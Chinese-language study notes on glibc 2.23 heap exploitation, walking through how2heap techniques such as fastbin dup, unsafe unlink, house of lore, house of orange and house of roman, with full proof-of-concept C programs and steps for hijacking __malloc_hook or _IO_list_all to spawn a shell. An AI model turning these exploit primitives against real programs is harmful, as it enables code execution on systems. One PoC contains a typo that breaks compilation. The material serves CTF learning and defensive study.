glibc 2.23

fastbin_dup

2.23的fastbin dup不用考虑tcache的影响,因为还没引入
fastbin_dup使用doublefree的方法,但是要注意不能连续free同一个。
没有doublefree的检查是因为free后后一个chunk的prev_in_use位不会被重置。
操作流程

void * a = malloc(8);
void * b = malloc(8);
void * c = malloc(8);

free(a);

free(b);

free(a);

a=malloc(8);

b=malloc(8);

这时候a控制的是一个free了且malloc了的块,通过控制fd指针来实现任意写。/

fastbin_dup_consolidate

背后的机制是,当从largebin里拿东西的时候,会先尝试把fastbin清掉
ctf-wiki是这么说的:

其实在 large bin 中并没有直接去扫描对应 bin 中的 chunk,而是先利用 malloc_consolidate(参见 malloc_state 相关函数) 函数处理 fast bin 中的 chunk,将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中,不能够合并的就直接放到 unsorted bin 中,然后再在下面的大循环中进行相应的处理。为什么不直接从相应的 bin 中取出 large chunk 呢?这是 ptmalloc 的机制,它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。

这就给我们有可乘之机。
一个利用策略是,如果程序可以进行double free 但是只能写free前的chunk,可以通过这个方法,
通过double-free和malloc来实现use-after-free。思想在于合并时的指针被程序认为单纯是malloc的。而free掉的那个也是同一个指针,但是malloc的那个指针程序没有标记。
操作流程:

void * p1 = malloc(1,0x40) //fastbin大小
free(p1)
void * p3 = malloc(0x400) //largebin大小,此时p1和topchunk合并,可以获得怕
一样的值
free(p1) // free掉了p3,但是p3被free时没被记录的。

从效果上看,p3已经完全是虚假的了,可以覆盖后面一堆chunk。

第二个利用策略是,通过无法合并的fastbin进入unsorted bin 的机制,来产生一个又是fast bin又是unsorted bin 的 chunk
注意再次拿的时候会先从fastbin拿。同样目的是构造use-after-free

流程:

void *p1 = malloc(0x40)
void *p2 = malloc(0x40) //防止合并
free(p1)
void* p3 = malloc(0x400) //p1进入unsorted bin
free(p1)p1又被放入fastbin
malloc(p1) p1 fastbin 中的p1被取出。
控制unsortedbin 进行攻击。

fastbin_dup_into_stack

fastbin_dup的延申,讲述如何进行任意写入。

首先是之前提到的double_free
流程:

void * a = malloc(8);
void * b = malloc(8)
void * c = malloc(8)

free(a);

free(b);

free(a);

a=malloc(8);

b=malloc(8);

这时候,a的位置被double_free的。通过修改fd指针,使得下一个chunk指向栈上。
2.23 malloc取出fastbin时,存在安全检查:需要malloc的size的值和当前bin的大小一致。
因此栈上的值需要自己提前写入
然后malloc两次即可写到栈上。

这个方法还可以写到main_arena,那个位置有个0x71可以利用。

利用基本条件:有一个明确位置的指针,指向可以调用unlink的区域。且那个区域存在一byte溢出0的漏洞。
通常在利用后还需要重新覆盖原指针,实现控制任意位置。
首先要关注的是unlink。在unsafe_unlink中,着通常以合并的形式发生。
只有在非fastbin时,才会触发unlink。这时候考虑合并低地址、合并高地址,合并topchunk。
通常我们的利用方法是合并低地址,且低地址的位置用的是fake chunk。因为unlink操作到的chunk指针是需要指到header的,
但是我们拥有的指针却指到data,因此我们要在data位置构造出header。
前向合并代码

  /* consolidate backward */
3973 if (!prev_inuse(p)) {
3974 prevsize = p->prev_size;
3975 size += prevsize;
3976 p = chunk_at_offset(p, -((long) prevsize));
3977 unlink(av, p, bck, fwd);
3978 }

再看unlink代码

#define unlink(AV, P, BK, FD) {                                            \
1345 FD = P->fd; \
1346 BK = P->bk; \
1347 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
1348 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
1349 else { \
1350 FD->bk = BK; \
1351 BK->fd = FD; \
1352 if (!in_smallbin_range (P->size) \
1353 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
1354 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
1355 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
1356 malloc_printerr (check_action, \
1357 "corrupted double-linked list (not small)", \
1358 P, AV); \
1359 if (FD->fd_nextsize == NULL) { \
1360 if (P->fd_nextsize == P) \
1361 FD->fd_nextsize = FD->bk_nextsize = FD; \
1362 else { \
1363 FD->fd_nextsize = P->fd_nextsize; \
1364 FD->bk_nextsize = P->bk_nextsize; \
1365 P->fd_nextsize->bk_nextsize = FD; \
1366 P->bk_nextsize->fd_nextsize = FD; \
1367 } \
1368 } else { \
1369 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
1370 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
1371 } \
1372 } \
1373 } \
1374 }
1375

可以看到,除非是largebin,不然就不会有大小检查。甚至不会检查free掉的东西是否真的在bin中。这时候就能理解为什么fastbinfree时不会把后面的prev_inuse变成0了。不然就会把fastbinunlink,真有点石山代码的意思。不过也有可能是为了更快运行。
largebin最小需要0x7F0,因此基本上不用考虑。
目前的chunk结构(构造完fake chunk ,且溢出了一个byte)。 chunk大小都使用了0x90

name data data
chunk0 ?????? 0x91
fakechunk ???? ????
fd=ptr-0x18 bk=ptr-0x10
………… ………… …………
chunk1 0x80 0x90
…… …… ……

最后更新的步骤,导致ptr变成data里的fd,也就是ptr-0x18于是就可以修改任何地址或者读取任何地址。

house of spirit

构造虚假chunk,free后malloc实现在栈上写入的能力。
基本没什么要注意的,一点是必须malloc过,不然根本没有初始化过heap的空间。
还有就是下一个chunk的size需要符合堆的大小0x10到128kb

poison null byte

存在一个溢出null byte时,同时没有uaf时可以使用。并且这个null byte需要能溢出到已经malloc过的chunk。
需要注意的是,被溢出覆盖到的chunk的大小不能是0x100的倍数。(这样才能做到防止prev_inuse被修改,同时保证可以伪造prev_size)

操作流程

void * a,*b,*c,*d;
a = malloc(0x100);
b = malloc(0x200); // 被覆盖
c = malloc(0x100); // 用于向前合并
d = malloc(0x100); // 作为barrier 防止向后合并
unsigned long long int real_a_size = malloc_usable_size(a);
*(size_t*)(b+0x1f0) = 0x200;//提前伪造chunk头,防止后面检查出粗
free(b) //提前free b 防止b向前合并。
a[real_a_size] = '\x00'; // 通常时通过这个漏洞形式导致的溢出一个null byte.
//此时b的大小已经被覆盖
b1 = malloc(0x100);//会直接把unsorted bin 切割,这时候会有unlink的发生。存在prev_size检查
b2 = malloc(0x80);
free(b1);
free(c) ; c与b1合并,前文讲过,合并过程没有对于前一块大小的检查,但是会有unlink过程,因此通常不考虑合并malloc前的chunk,防止崩溃。
d = malloc(0x300)
覆盖b2 ,实现use after free

overlapping_chunks_1

条件: 存在heap overflow 可以污染metadata
利用非常简单
利用了unsorted bin正好时不存在检查

intptr_t *p1 , *p2 , *p3 , *p4;
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
free(p2);
*((unsigned long *) p2 -1)=0x181;
p2 = malloc(0x180-8);//实现重叠

overlapping_chunks_2

Nonadjacent Free Chunk Consolidation Attack
同样也是利用了unsorted bin正好时不存在检查,
事实上 在 2.23版本甚至更高版本,chunk 4 都没什么用,不知道这么做目的是什么,可能是为了后续利用。
流程 :
malloc 5个1000大小chunk
free 4
覆盖2chunk size 变成2+3
free 2
malloc 2000 存储在6
6与3重合。

unsortedbin attack

此攻击可以把一个大数写入任意位置,为后续攻击做准备,比如将global_max_fast改成一个大数,然后可以进行fast_dup等攻击,
这里利用了正好大小的unsorted bin 取出时不经过任何安全检查。
假设要修改的位置地址ptr
chunk为p
修改p->bk = (unsigned long *)ptr-2
则脱出双链表时
ptr-2+2也就是fd的位置会变成p->fd 为main_arena附近的值。

largebin attack

largebin 要大于1024字节。双向循环链表,先进先出。
作用和unsorted bin attack 差不多
但是利用的特性比较巧妙。
这里直接复制了 https://wiki.wgpsec.org/knowledge/ctf/how2heap.html 的流程

#include<stdio.h>
#include<stdlib.h>

int main()
{
fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "先来看一下目标:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);

fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

malloc(0x90);
fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &sta ck_var2, (void *)stack_var2);
return 0;
}

利用在分配时,会先把unsorted bin闲置块整理的特性和uaf漏洞。
同时 glibc的逻辑貌似一直是先插入再断链,断链的过程才真正修改了指针,也就是说 修改的是 p3->bk->fd p3->bk_nextsize->fd_nextsize
p3->bk p3->bk_nextsize就是p2->bk p2->bk_nextsize 因此才会那样修改。

这里要注意的是 如果只有一个大小相同的块,bk 和 bk_nextsize作用是等同的。

house of lore

在双向链表完整性检查存在的情况下依然可用
用这个方法可以在栈上任意写入.
利用的是伪造bk指针的方法。smallbin是先进先出的,因此它存在的安全检查会着重考虑p->bk->fd是不是本身。并且还有个有意思的事情是,他的脱链非常不安全。
他的脱链过程就是把head->bk 设置为 p->bk 、 把 p->bk->fd 设置为head
也就是说 即使head->fd的值存在错误,也不会影响程序运行。
并且 2.23中从smallbin拿出来根本不过size检查。
house of lore利用伪造的方法绕过这个检查
how2heap的方法是在栈上构造了两块 虽然不知道有什么用 但这里就按他的来
过程

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

看着挺复杂 概括起来却没多少

栈上两个块

name value
p2 0
0
fd &p1
bk 0
p1 0
0
fd victim
bk &p2

堆上构造两个块
一个0x100大小 正好smallbin
再弄一个大的0x1000防止合并

free 掉这个smallbin 把bk指针覆盖成&p1
然后smallbin链表结构就会变成下图

示意图

可以看到 head 到p2中间的部分是完全不用管的 这是smallchunk不安全性导致的。
然后先malloc 0x1200
使得unsorted bin 整理到 smallbin
然后再malloc 0x100 两次即可在栈上溢出

mmap_overlapping_chunks

让mmap出的块进行重叠

这个漏洞所有版本可用

mmap_threshold(默认 128KB)

当申请的内存 ≥ mmap_threshold 时,GLibC 会直接通过 mmap 系统调用分配内存(而非堆管理器)。

释放时(free),这类内存会立即通过 munmap 归还系统,不会进入堆缓存。

动态调整的阈值

若程序频繁申请大内存(但 ≤ 当前 mmap_threshold),GLibC 会逐步 提高阈值(上限为 DEFAULT_MMAP_THRESHOLD_MAX,通常 32MB/64MB)。

通过 mallopt(M_MMAP_THRESHOLD, size) 可手动调整。

mmap分配的内存 释放时也不会进入 bins 而是 用munmap系统调用 直接返回给kernel
mmap chunk在标记在第二个bit

对于size 字段 表示当前内存块实际大小,要求页对齐 通常是4kb对齐
prev_size字段 不用于记录前一个内存块的大小 ,而是记录这个mmap块的剩余空间 (多余分配的)
free时存在页对齐检查,同时没有合并操作

分配时 通常在libc地址前面 heap区域后面 并且是从高地址向低地址的顺序分配

过程

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main()
{
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by the mmap_threshold var.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.

Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.

Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.

Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.

The POC below is essentially an overlapping chunk attack but on mmap chunks.
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
The main difference is that mmapped chunks have special properties and are
handled in different ways, creating different attack scenarios than normal
overlapping chunk attacks. There are other things that can be done,
such as munmapping system libraries, the heap itself and other things.
This is meant to be a simple proof of concept to demonstrate the general
way to perform an attack on an mmap chunk.

For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
*/

int* ptr1 = malloc(0x10);

printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.

Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);

/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/

/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;

// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);

_exit(0); // exit early just in case we corrupted some libraries
}

先 malloc 0x10大小的普通块 不清楚有什么用 估计是初始化heap 空间?
malloc 3个 0x100000大小的块,程序说明里说第一个分配到了 libc的高位 但事实上
我搜到的资料里面他是分配在libc地位的 不管如何 分配三个总不会出问题
第三个是紧接着第二个的,这时候我们修改三的size为2+3 free 掉3

然后malloc一个更大的0x300000 因为 mmapthreshold 已经被调整到了0x202000 再小于的话会变成正常的堆

然后就可以获得一个覆盖到3 2 的大的块

house of force

<2.29版本可用
这个漏洞在有aslr时仍然可以使用,但是需要关闭RELRO 因为要覆盖got表
通过覆盖top chunk 来使得malloc返回一个任意的地址。

是一个非常暴力的利用方式
用起来也很简单。
先分配一个任意大小的chunk
然后覆盖top chunk的size 可以直接写成-1
然后计算地址 直接malloc一个贼大的空间到目标位置
这里不会被mmap干扰,因为top chunk size改了 只要小于这个大小 都会分配再heap上

house of einherjar

利用了一个off-by-one overflow 相比posion null byte 更强大 但是额外需要能够泄露堆地址。或者是能够伪造虚假堆块的地址,

流程:
目标位置伪造一块0x100大小的块 。
fd bk fd_nextsize bk_nextsize 都指向本身以绕过检查
prev_size 需要和本身相同 并且为not used 但我不知道有什么用 大佬的博客说并没有伪造的必要

在堆上 申请三个堆块
a = (uint8_t*) malloc(0x38); // 需要有off_one_byte 用来覆盖 b 的prev_in_use
b = (uint8_t*) malloc(0xf8); // 总大小0x100 防止off_one_byte 导致的大小不对
c = (uint8_t*) malloc(0x38); // 防止和top chunk 合并

之后计算伪造的堆块和b的地址差 写入 prev_size即可 通常这需要用到补码,因为heap一般在stack之前。

再malloc(0x200) 就能在目标位置分配chunk

sysmalloc int free

sysmalloc允许我们free() top chunk 创造出一个几乎任意的bins
可以用于在不直接调用free() 的情况下破坏堆结构

堆增长时,如果top_chunk无法被合并,sysmalloc会调用_int_free 来释放 top_chunk
在House of Orange 和 House of Tangerine中都有用到

流程:

  1. initial malloc ,后续要用来让top_chunk崩溃
    how2heap中malloc了0xe60的大小
  2. 污染top_chunk 的size段,注意控制它的终点是page_aligned 的 ,也就是是0x1000的倍数
  3. 创建一个比目前修改过的topchunk还要更大的块,这会欺骗堆增长,同时导致原来top_chunk的位置被free。但是到对齐位置最后0x20会是一个FENCEPOST
----- 0x56563f850020 ----
| OLD |
| AAAAAAAAAAAAAAAAAAAAA |
----- 0x56563f850e90 ----
| FREED | <- old top got freed because it couldn't be merged
| SIZE (0x00150) |
----- 0x56563f850fe0 ----
| FENCEPOST | <- just some architecture depending padding
----- 0x56563f851000 ---- <- still page aligned
| ... |
----- 0x56563f871000 ---- <- end of previous heap page
| NEW | <- new malloc
-------------------------
| TOP | <- top chunk (wilderness)
| ... |
------------------------- <- end of current heap page

重新malloc 会从FENCEPOST后面开始分配。

house_of_orange

利用堆溢出漏洞来篡改 _IO_list_all指针
需要事先存在堆和libc地址的泄露。
同时需要存在一个能覆盖topchunk数据的heap溢出。
本例中的winner用于模拟system函数的地址已知的情况。

当请求小于0x21000,且大于top_chunk大小,就会产生topchunk的扩展
该技术已在 glibc 2.26 版本中通过修改 malloc_printerr 的行为被移除, 新版本不再调用 _IO_flush_all_lockp 函数。对应提交:91e7cf982d0104f0e71770f5ae8e3faf352dea9f
自 glibc 2.24 起,_IO_FILE 虚函数表(vtable)会经过白名单验证,这使得该漏洞利用方式失效。

流程:

  1. 申请一个heap , p1 = malloc(0x400-16); heap通常从0x21000的top chunk中分出来,因此余下0x20c00的空间。加上PREV_INUSE,就是0x20c01
    根据topchunk的性质,topchunk始终满足下列条件
  • topchunk的结尾永远是页对齐的。
  • topchunk的prev_inuse永远被设置。
  1. 伪造topchunk 为了满足上述条件,我们把topchunk大小伪造成 0xc00 | PREV_INUSE。
  2. 申请一个大于topchunk大小的块 。程序会尝试扩展top chunk ,但是sysmalloc认为原来的top结尾没变,这就导致中间出现一堆空缺。 同时 修改的topchunk会被free掉,申请的p2会在中间的一个0x1000对齐的页开始
  3. 之后是第二阶段,我们要尝试覆盖原先被free 的top chunk部分的fd和bk指针进行利用

    这种攻击手法极为精妙,它直接利用了 libc 在检测到堆异常时触发的 abort 调用流程。当 abort 被触发时,系统会通过调用 _IO_flush_all_lockp 来刷新所有文件指针,最终遍历 _IO_list_all 中的链表并对每个节点执行 _IO_OVERFLOW 操作。

  4. 这种攻击的核心思路是:通过伪造一个文件指针来覆盖 _IO_list_all 指针,其中: 将伪造指针的 _IO_OVERFLOW 位置指向 system 函数,前8字节设置为 ‘/bin/sh’ .这样当调用 _IO_OVERFLOW(fp, EOF) 时,实际会执行 system(‘/bin/sh’)。
    通过已经释放的堆块,我们可以获得libc地址,也就可以计算出_IO_list_all的地址,
  5. 计算出这个地址后 我们把 p(free 的top )->bk设为_IO_list_all-0x10 然后让fd不变,这就可以让_IO_list_all的前八个字节变成”/bin/sh”的指针.
  6. 把p的size篡改成0x61 ,这使得它进出main_arena的特定位置 方便之后进行IO-file 利用 具体不细说
  7. 接下来伪造来满足约束条件。
  8. fp->_mode <=0 && fp->_IO_write_ptr>fp->_IO_write_base
    _mode 偏移0xc0 base偏移 0x20设置为2 ptr 偏移0x28 设置为3
  9. 改写jump table jump_table 位于 &top12; jump_table[3] = & winner.
  10. top+0xd8 设置为jump_table的指针 这个是固定的。
  11. malloc(10); 前面由于伪造了p的size 会触发错误

house of roman

house of roman 可以在没有 其他信息泄露的前提下进行堆利用
也就是说 过程中用到的基本是偏移量

分三个阶段进行:

  • 获取__malloc_hook :
    • 构造fastbin链: ptr_to_chunk -> ptr_to_libc
    • 通过相对偏移量 : 部分覆盖 ,将ptr_to_libc 指向 __malloc_hook
  • 对__malloc_hook 进行unsortedbin_attack:
    • 通过相对偏移量覆盖修改chunk->bk指针
    • 将libc的值写入到__malloc_hook
  • 劫持控制流:
    • 对_malloc_hook的值进行最后一次的相对偏移覆盖,使得它指向目标函数
  • 调用malloc获得shell:

这个技术的代价是需要暴力破解12bits的随机值.

利用的前提条件是能够通过漏洞修改fastbin或者unsortedbin的指针同时能够精准控制内存分配的大小和释放操作。

第一阶段:
uint8_t* fastbin_victim = malloc(0x60);
malloc(0x80);
uint8_t* main_arena_use = malloc(0x80);
uint8_t* relative_offset_heap = malloc(0x60);
free(main_arena_use);
free后的这个块的fd与bk指针会指向main_arena + 0x68
uint8_t* fake_libc_chunk = malloc(0x60);
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
这样就成功获取了__malloc_hook地址.
free掉relative_offset_heap 这会在 fastbin_victim的fd槽位中放入一个指针以便后续使用。

free(fastbin_victim);
后续需要进行UAF利用,另外,fd的偏移是0x190.

现在进行相对覆盖,目前的堆如下:

0x0: fastbin_victim         freed
0x70: alignment_filler
0x100: fake_libc_chunk
0x170: leftover_main freed
0x190: relative_offset_heap freed
fastbin:  fastbin_victim -> relative_offset_heap
unsorted: leftover_main(切割出来的)

现在开始部分覆盖fastbin_victim的fd指针(最后一位从0x90变成0x00),控制它指向fake_libc_chunk
fastbin_victim[0] = 0x00
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)

然后再覆盖fake_libc_chunk 的fd指针使得它指向__malloc_hook附近
我们需要一个有效的malloc size ,在__memalign_hook附近,这通常是一个0x7f开头的地址。
由于__memalign_hook前面都是NULL字节(0x00),我们可以通过错位对齐(misaligned)的chunk,使其被识别为0x70 fastbin的有效尺寸。
这里需要爆破半个字节(四位)因为最后12位是固定的 由于页对齐 但是倒数12到倒数16位,这四个位却不是固定的。

覆盖完之后结果如下:0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).

然后malloc(0x60)三次 就可以获得malloc_hook_chunk

阶段2: unsorted bin attack
unsortedbin attack允许我们把main_arena + 0x68 位置的值写到__malloc_hook.
这一步需要8位的爆破

先申请uint8_t* unsorted_bin_ptr = malloc(0x80);
这个大小和fastbin无关,也就不会和前面的块有关,而是进入unsorted bin
malloc(0x30);// 防止合并,同时fastbin一般不会被切割,并且在这里,fastbin已经被打乱了,程序并不知道有一个freed的relative_offset_heap

free(unsorted_bin_ptr)

这里就可以直接开始打unsorted_bin_attack了
